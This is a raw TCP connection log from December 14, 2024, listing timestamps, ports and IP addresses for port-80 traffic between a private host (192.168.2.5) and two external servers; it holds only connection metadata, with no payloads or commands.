Dec 14, 2024 14:56:29.022346973 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.023499012 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.023626089 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.024166107 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.024951935 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.025085926 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.025223017 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.026175022 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.026263952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.026580095 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.026675940 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.026741028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.026856899 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.027371883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.027502060 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.027571917 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.028386116 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.028475046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.029001951 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.029402971 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.029520035 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.030193090 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.030471087 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.030575991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.030719995 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.031548977 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.031605005 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.032583952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.032603025 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.033309937 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.033639908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.033706903 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.033786058 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.034697056 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.034816980 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.034930944 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.035881042 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.035901070 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.036026955 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.036817074 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.036935091 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.037203074 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.037897110 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.038029909 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.038070917 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.038976908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.039025068 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.039113998 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.040105104 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.040117025 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.040241957 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.041086912 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.041201115 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.041367054 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.042155981 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.042278051 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.042417049 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.043210030 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.043339968 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.043380022 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.044302940 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.044528961 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.044809103 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.045361996 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.045455933 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.045602083 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.046416044 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.046561003 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.046821117 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.047468901 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.047580004 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.047652006 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.048542023 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.048635006 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.048729897 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.049609900 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.049765110 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.049824953 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.050661087 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.050760031 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.050942898 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.051723003 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.051742077 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.051929951 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.052834988 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.052926064 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.053061962 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.053843975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.053965092 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.054138899 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.054951906 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.055039883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.055088997 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.055983067 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.056085110 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.056314945 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.057065964 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.057148933 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.057410955 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.058094978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.058216095 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.058368921 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.059158087 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.059273958 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.059676886 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.060250998 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.060338974 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.060532093 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.061362982 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.061932087 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.062072039 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.062382936 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.062486887 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.062567949 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.063453913 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.063565969 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.063602924 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.064507008 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.064610958 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.064826965 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.065574884 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.065685034 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.065721989 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.066690922 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.066795111 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.066850901 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.067677975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.067821980 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.067939997 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.068749905 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.068866968 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.069403887 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.069797039 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.069900036 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.069994926 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.070889950 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.070950031 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.071154118 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.071968079 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.072024107 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.072288036 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.073036909 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.073101997 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.073364019 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.074095011 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.074162960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.074264050 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.074639082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.074707031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.074795008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.074839115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.075119019 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.075208902 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.075222015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.075256109 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.075287104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.075453043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.075531006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.075573921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.076147079 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.076530933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.076628923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.076678038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.077613115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.077666044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.078277111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.078378916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.078423023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.078454971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.078584909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.078628063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.078704119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.078747988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.079876900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.079969883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.079997063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.080028057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.080861092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.080902100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.080982924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.081026077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.081945896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.081989050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.082030058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.082070112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.083091974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.083132982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.083157063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.083198071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.084247112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.084294081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.084336042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.084460974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.085334063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.085378885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.085457087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.086503029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.086545944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.086555004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.086597919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.087513924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.087558031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.087594986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.087635040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.088747025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.088783026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.088816881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.088818073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.089777946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.089824915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.089853048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.089893103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.090904951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.090954065 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.090997934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.091036081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.091964006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.092027903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.092075109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.092112064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.093080997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.093142033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.093174934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.093214035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.094224930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.094271898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.094310045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.094350100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.095350027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.095397949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.095457077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.095699072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.096421957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.096465111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.096568108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.097171068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.097568035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.097703934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.097745895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.098697901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.098740101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.098767042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.098808050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.099797964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.099844933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.099858046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.099901915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.101058006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.101104975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.101362944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.101542950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.101991892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.102041960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.102117062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.102237940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.103101015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.103147030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.103204012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.103244066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.104229927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.104274035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.104311943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.104352951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.105519056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.105566025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.105623007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.105740070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.106442928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.106488943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.106537104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.106875896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.107563972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.107669115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.107717037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.108685970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.108731985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.108772039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.108813047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.109795094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.109839916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.109903097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.109942913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.110919952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.110965014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.111031055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.111206055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.112008095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.112052917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.112164974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.112960100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.113130093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.113280058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.113293886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.113334894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.114248037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.114291906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.114346981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.114481926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.115370989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.115415096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.115454912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.115494013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.116487026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.116533041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.116583109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.116625071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.117585897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.117656946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.117682934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.117723942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.118726015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.118771076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.118808031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.118849993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.119848967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.119899035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.119951963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.120266914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.120953083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.121061087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.121104956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.122051954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.122097015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.122139931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.122288942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.123158932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.123205900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.123246908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.123290062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.124277115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.124325037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.124366045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.124490976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.125401020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.125449896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.125479937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.125798941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:29.126591921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.126612902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:29.126640081 CET	49876	80	192.168.2.5	31.41.244.11
